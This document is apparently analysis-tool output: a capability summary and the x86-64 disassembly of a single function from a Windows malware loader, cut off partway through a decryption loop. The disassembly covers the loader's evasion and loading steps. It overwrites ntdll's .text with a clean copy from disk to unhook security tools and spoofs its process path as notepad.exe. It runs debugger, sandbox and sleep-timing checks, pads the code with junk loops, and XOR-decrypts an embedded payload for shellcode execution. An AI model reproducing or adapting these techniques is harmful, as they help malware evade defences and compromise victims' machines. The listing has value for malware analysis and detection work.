Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x8f8
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x860], xmm6
mov dword [rbp + 0x8a0], ecx
mov qword [rbp + 0x8a8], rdx
call fcn.140002de0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7e8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7e0], rax
mov dword [rbp + 0x854], 0
mov ecx, 0xf04
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7d8], rax
mov dword [rbp + 0x85c], 0
jmp 0x14000155d
mov dword [rbp + 0x858], 0
jmp 0x14000154d
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x785fb011
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2207
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x85c]
movsxd rcx, eax
mov rax, rcx
shl rax, 5
sub rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x7d8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x858]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x858], 1
cmp dword [rbp + 0x858], 0x1e
jle 0x1400014e6
add dword [rbp + 0x85c], 1
cmp dword [rbp + 0x85c], 0x1e
jle 0x1400014da
mov dword [rbp + 0x85c], 0
jmp 0x1400015e4
mov dword [rbp + 0x858], 0
jmp 0x1400015d4
pxor xmm1, xmm1
cvtsi2ss xmm1, dword [rbp + 0x854]
mov eax, dword [rbp + 0x85c]
movsxd rdx, eax
mov rax, rdx
shl rax, 5
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x7d8]
add rdx, rax
mov eax, dword [rbp + 0x858]
cdqe
movss xmm0, dword [rdx + rax*4]
addss xmm0, xmm1
cvttss2si eax, xmm0
mov dword [rbp + 0x854], eax
add dword [rbp + 0x858], 1
cmp dword [rbp + 0x858], 0x1e
jle 0x140001582
add dword [rbp + 0x85c], 1
cmp dword [rbp + 0x85c], 0x1e
jle 0x140001576
mov rax, qword [rbp + 0x7d8]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7d0], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x848], rax
cmp qword [rbp + 0x848], 0
jne 0x140001680
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x848], rax
mov dword [rbp + 0x844], 0xffffffff
pxor xmm0, xmm0
movsd qword [rbp + 0x838], xmm0
add dword [rbp + 0x844], 1
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x844]
movsd xmm0, qword [0x140006640]
addsd xmm0, xmm1
mov rax, qword [0x140006648]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003f50
movq rax, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x844]
addsd xmm0, xmm0
movsd xmm2, qword [0x140006640]
movupd xmm1, xmm0
subsd xmm1, xmm2
movq xmm0, rax
divsd xmm0, xmm1
movsd xmm1, qword [rbp + 0x838]
addsd xmm0, xmm1
movsd qword [rbp + 0x838], xmm0
cmp dword [rbp + 0x844], 0x366
jle 0x140001696
movsd xmm1, qword [rbp + 0x838]
movsd xmm0, qword [0x140006650]
mulsd xmm0, xmm1
movsd qword [rbp + 0x838], xmm0
cmp qword [rbp + 0x848], 0
je 0x140001d8b
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x630]
mov rax, qword [rbp + 0x7d0]
mov r10, qword [rbp + 0x848]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x630]
mov qword [rbp + 0x7c8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x7c0], rax
mov rax, qword [rbp + 0x7c0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x7b8], rax
mov dword [rbp + 0x82c], 0
mov dword [rbp + 0x7b4], 0x349
mov dword [rbp + 0x7b0], 0x1a4
mov eax, dword [rbp + 0x7b4]
add eax, 1
cdqe
shl rax, 2
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7a8], rax
mov dword [rbp + 0x834], 0
jmp 0x140001875
mov eax, dword [rbp + 0x834]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7a8]
add rdx, rax
mov eax, dword [rbp + 0x834]
mov dword [rdx], eax
add dword [rbp + 0x834], 1
mov eax, dword [rbp + 0x834]
cmp eax, dword [rbp + 0x7b0]
jl 0x14000184c
mov dword [rbp + 0x834], 1
jmp 0x140001907
mov eax, dword [rbp + 0x834]
mov dword [rbp + 0x830], eax
jmp 0x1400018de
mov edx, dword [rbp + 0x834]
mov eax, dword [rbp + 0x830]
add edx, eax
mov eax, dword [rbp + 0x834]
add eax, eax
add edx, eax
mov eax, dword [rbp + 0x830]
add eax, edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7a8]
add rax, rdx
mov dword [rax], 0
add dword [rbp + 0x830], 1
mov eax, dword [rbp + 0x7b0]
sub eax, dword [rbp + 0x834]
mov edx, dword [rbp + 0x834]
add edx, edx
lea esi, [rdx + 1]
cdq
idiv esi
cmp dword [rbp + 0x830], eax
jle 0x14000189d
add dword [rbp + 0x834], 1
mov eax, dword [rbp + 0x834]
cmp eax, dword [rbp + 0x7b0]
jl 0x14000188f
cmp dword [rbp + 0x7b4], 2
jle 0x14000194b
mov eax, dword [rbp + 0x82c]
lea edx, [rax + 1]
mov dword [rbp + 0x82c], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7a8]
add rax, rdx
mov dword [rax], 2
mov dword [rbp + 0x834], 1
jmp 0x1400019af
mov eax, dword [rbp + 0x834]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7a8]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x1400019a8
mov eax, dword [rbp + 0x834]
lea ecx, [rax + rax]
mov eax, dword [rbp + 0x82c]
lea edx, [rax + 1]
mov dword [rbp + 0x82c], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7a8]
add rax, rdx
lea edx, [rcx + 1]
mov dword [rax], edx
add dword [rbp + 0x834], 1
mov eax, dword [rbp + 0x834]
cmp eax, dword [rbp + 0x7b0]
jl 0x140001957
mov dword [rbp + 0x7a4], 2
mov dword [rbp + 0x828], 0
mov dword [rbp + 0x834], 0
jmp 0x140001a0b
mov eax, dword [rbp + 0x834]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7a8]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001a04
add dword [rbp + 0x828], 1
add dword [rbp + 0x834], 1
mov eax, dword [rbp + 0x834]
cmp eax, dword [rbp + 0x7a4]
jl 0x1400019dd
mov rax, qword [rbp + 0x7a8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7b8]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x798], rax
mov rax, qword [rbp + 0x7c8]
mov qword [rbp + 0x790], rax
mov rax, qword [rbp + 0x790]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rdx
mov qword [rbp + 0x788], rax
mov word [rbp + 0x826], 0
jmp 0x140001d73
mov rax, qword [rbp + 0x788]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x788]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x826]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x780], rax
mov rax, qword [rbp + 0x780]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001d62
mov dword [rbp + 0x5f8], 0
mov rax, qword [rbp + 0x780]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x780]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5f8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov ecx, 0xd84
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x778], rax
mov dword [rbp + 0x820], 0
jmp 0x140001ba2
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x820]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x778]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x820], 1
cmp dword [rbp + 0x820], 0x360
jle 0x140001b55
mov dword [rbp + 0x820], 0
jmp 0x140001cba
mov dword [rbp + 0x774], 0
jmp 0x140001c9c
mov eax, dword [rbp + 0x820]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x778]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x774]
cdqe
add rax, 1
lea rcx, [rax*4]
mov rax, qword [rbp + 0x778]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jle 0x140001c95
mov eax, dword [rbp + 0x774]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x778]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x770], eax
mov eax, dword [rbp + 0x820]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x778]
add rax, rdx
mov edx, dword [rbp + 0x774]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x778]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x774]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x778]
add rdx, rax
mov eax, dword [rbp + 0x770]
mov dword [rdx], eax
add dword [rbp + 0x820], 1
mov eax, 0x360
sub eax, dword [rbp + 0x820]
cmp dword [rbp + 0x774], eax
jl 0x140001bcc
add dword [rbp + 0x820], 1
cmp dword [rbp + 0x820], 0x360
jle 0x140001bbd
mov rax, qword [rbp + 0x778]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x780]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x780]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x798]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x780]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x5f8]
mov rax, qword [rbp + 0x780]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x780]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5f8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x826]
add eax, 1
mov word [rbp + 0x826], ax
mov rax, qword [rbp + 0x788]
movzx eax, word [rax + 6]
cmp word [rbp + 0x826], ax
jb 0x140001a96
mov dword [rbp + 0x5fc], 0
mov rax, qword [rbp + 0x7e8]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x768], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x600]
lea rax, [rbp + 0x5fc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x768]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x608]
add rax, 0x3c
mov qword [rbp + 0x760], rax
mov ecx, 0x15b0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x758], rax
mov dword [rbp + 0x81c], 0
jmp 0x140001e69
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006658]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x81c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x758]
add rax, rdx
movsd xmm1, qword [0x140006640]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x81c], 1
cmp dword [rbp + 0x81c], 0x2b5
jle 0x140001e1b
mov dword [rbp + 0x81c], 0
jmp 0x140001ed0
mov eax, dword [rbp + 0x81c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x758]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x81c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x758]
add rax, rdx
movq xmm1, qword [0x140006660]
andpd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x81c], 1
cmp dword [rbp + 0x81c], 0x2b5
jle 0x140001e81
mov rax, qword [rbp + 0x760]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x760]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x750], rax
cmp qword [rbp + 0x750], 0
je 0x140001f59
mov rax, qword [rbp + 0x750]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x748], rax
mov rax, qword [rbp + 0x748]
mov ecx, 0
call rax
mov dword [rbp + 0x818], eax
cmp dword [rbp + 0x818], 0xffffffff
je 0x140002d16
mov qword [rbp + 0x740], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x738], rax
mov rax, qword [rbp + 0x738]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x3250a80
mov ecx, 0
call rax
mov qword [rbp + 0x740], rax
cmp qword [rbp + 0x740], 0
je 0x140002d16
mov rax, qword [rbp + 0x740]
mov edx, 0x3250a80
mov rcx, rax
call fcn.140004bc0
mov rax, qword [rbp + 0x740]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov dword [rbp + 0x5f4], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x730], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x5f4]
mov r8, qword [rbp + 0x730]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x5f4]
cmp eax, 1
je 0x140002d16
mov ecx, 0x583
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x583
jne 0x140002d16
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x728], rax
cmp qword [rbp + 0x728], 0
je 0x140002d16
mov rax, qword [rbp + 0x728]
mov edx, 0x515
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x724], eax
lea rax, str.wvaucspegxkq.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x718], rax
cmp qword [rbp + 0x718], 0
jne 0x140002d16
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x710], rax
mov rax, qword [rbp + 0x710]
mov ecx, 0
call rax
mov dword [rbp + 0x70c], eax
cmp dword [rbp + 0x70c], 0xffffffff
je 0x140002d16
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x700], rax
cmp qword [rbp + 0x700], 0
jne 0x140002d16
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x6f8]
call rax
mov dword [rbp + 0x6f4], eax
mov ecx, 0x1fb
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x6f8]
call rax
mov dword [rbp + 0x6f0], eax
mov eax, dword [rbp + 0x6f0]
sub eax, dword [rbp + 0x6f4]
cmp eax, 0x1c9
jbe 0x140002d16
mov dword [rbp + 0x6ec], 0x2ea
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e0]
call rax
mov dword [rbp + 0x6dc], eax
mov eax, dword [rbp + 0x6ec]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x6e0]
call rax
mov dword [rbp + 0x6d8], eax
mov eax, dword [rbp + 0x6d8]
sub eax, dword [rbp + 0x6dc]
cmp eax, 0x2b8
jbe 0x140002d16
lea rax, [rbp + 0xf0]
lea rdx, [0x140006140]
mov ecx, 0xa0
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x7e0]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d0], rax
mov rax, qword [rbp + 0x7e0]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x6d0]
mov r8d, 0
mov edx, 0x4ff
mov ecx, 0x40000
call rax
mov qword [rbp + 0x6c0], rax
mov rax, qword [rbp + 0x6c0]
mov r9, qword [rbp + 0x6c8]
mov r8d, 0x4ff
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x7e8]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
lea rdx, [rbp + 0xf0]
mov rax, qword [rbp + 0x6b8]
mov r9, qword [rbp + 0x6b0]
mov r8d, 0x4ff
mov rcx, rax
call r9
mov dword [rbp + 0x810], 0
mov dword [rbp + 0x80c], 0
mov dword [rbp + 0x808], 0xffffffff
mov ecx, 0x1ba0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6a8], rax
mov ecx, 0x1ba0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6a0], rax
add dword [rbp + 0x808], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x808]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6a8]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x808]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6a8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x808]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x6a0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003dd0
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x808], 0x372
jle 0x1400023bc
movabs rax, 0x30ea525f8254b364
movabs rdx, 0x468ac4e4fea3fb1b
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0xd737b7d26051acf
movabs rdx, 0x780f728c2156d336
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0xa13446885e9c9f9f
movabs rdx, 0xe6b5b7328bcce5af
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x6b1991e5c2541399
movabs rdx, 0x2c5709b6fc8a2a17
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0xd50867054a7977fa
movabs rdx, 0x43d9c9a27c6158e4
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x497a0b1c23b5926d
movabs rdx, 0x68f28c9af6de4fb2
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x43cbaf1568f28c
mov qword [rbp + 0xdd], rax
movabs rax, 0xa4f3f33c83a56e10
movabs rdx, 0xc23885e04394360c
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x5dc5318117f270b8
movabs rdx, 0xade7276ec2987647
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0xf98d644eecbf2d4
movabs rdx, 0xc95f72ed038048f
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x13623dff56a3054
movabs rdx, 0x557d5562498795eb
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0xc228f320557d55
mov qword [rbp - 3], rax
mov ecx, 0x658
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x698], rax
mov dword [rbp + 0x804], 0
jmp 0x140002666
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x804]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x698]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x804], 1
cmp dword [rbp + 0x804], 0x195
jle 0x140002619
mov dword [rbp + 0x804], 0
jmp 0x14000277e
mov dword [rbp + 0x654], 0
jmp 0x140002760
mov eax, dword [rbp + 0x804]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x698]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x654]
cdqe
add rax, 1
lea rcx, [rax*4]
mov rax, qword [rbp + 0x698]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jle 0x140002759
mov eax, dword [rbp + 0x654]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x698]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x650], eax
mov eax, dword [rbp + 0x804]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x698]
add rax, rdx
mov edx, dword [rbp + 0x654]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x698]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x654]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x698]
add rdx, rax
mov eax, dword [rbp + 0x650]
mov dword [rdx], eax
add dword [rbp + 0x804], 1
mov eax, 0x195
sub eax, dword [rbp + 0x804]
cmp dword [rbp + 0x654], eax
jl 0x140002690
add dword [rbp + 0x804], 1
cmp dword [rbp + 0x804], 0x195
jle 0x140002681
mov rax, qword [rbp + 0x698]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x814], 0
jmp 0x140002822
cmp dword [rbp + 0x810], 0x43
jne 0x1400027e9
mov eax, dword [rbp + 0x814]
cdqe
movzx edx, byte [rbp + rax + 0x80]
mov eax, dword [rbp + 0x810]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x814]
cdqe
mov byte [rbp + rax + 0x10], dl
mov dword [rbp + 0x810], 0
jmp 0x14000281b
mov eax, dword [rbp + 0x814]
cdqe
movzx edx, byte [rbp + rax + 0x80]
mov eax, dword [rbp + 0x810]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x814]
cdqe
mov byte [rbp + rax + 0x10], dl
add dword [rbp + 0x810], 1
add dword [rbp + 0x814], 1
mov eax, dword [rbp + 0x814]
cmp eax, 0x63
jbe 0x1400027a9
mov dword [rbp + 0x814], 0
jmp 0x140002b30
cmp dword [rbp + 0x80c], 0x63
jne 0x14000296b
mov eax, dword [rbp + 0x814]
movsxd rdx, eax
mov rax, qword [rbp + 0x6b8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x80c]
cdqe
movzx ecx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x814]
movsxd rdx, eax
mov rax, qword [rbp + 0x6b8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x80c], 0
mov ecx, 0x18c0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x658], rax
mov dword [rbp + 0x800], 0
jmp 0x1400028f0
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x800]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x658]
add rax, rdx
movsd xmm1, qword [0x140006658]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x800], 1
cmp dword [rbp + 0x800], 0x317
jle 0x1400028b2
mov dword [rbp + 0x800], 0
jmp 0x14000295a
mov eax, dword [rbp + 0x800]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x658]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x800]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x658]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x800], 1
cmp dword [rbp + 0x800], 0x317
jle 0x140002908
jmp 0x140002b29
mov eax, dword [rbp + 0x814]
movsxd rdx, eax
mov rax, qword [rbp + 0x6b8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x80c]
cdqe
movzx ecx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x814]
movsxd rdx, eax
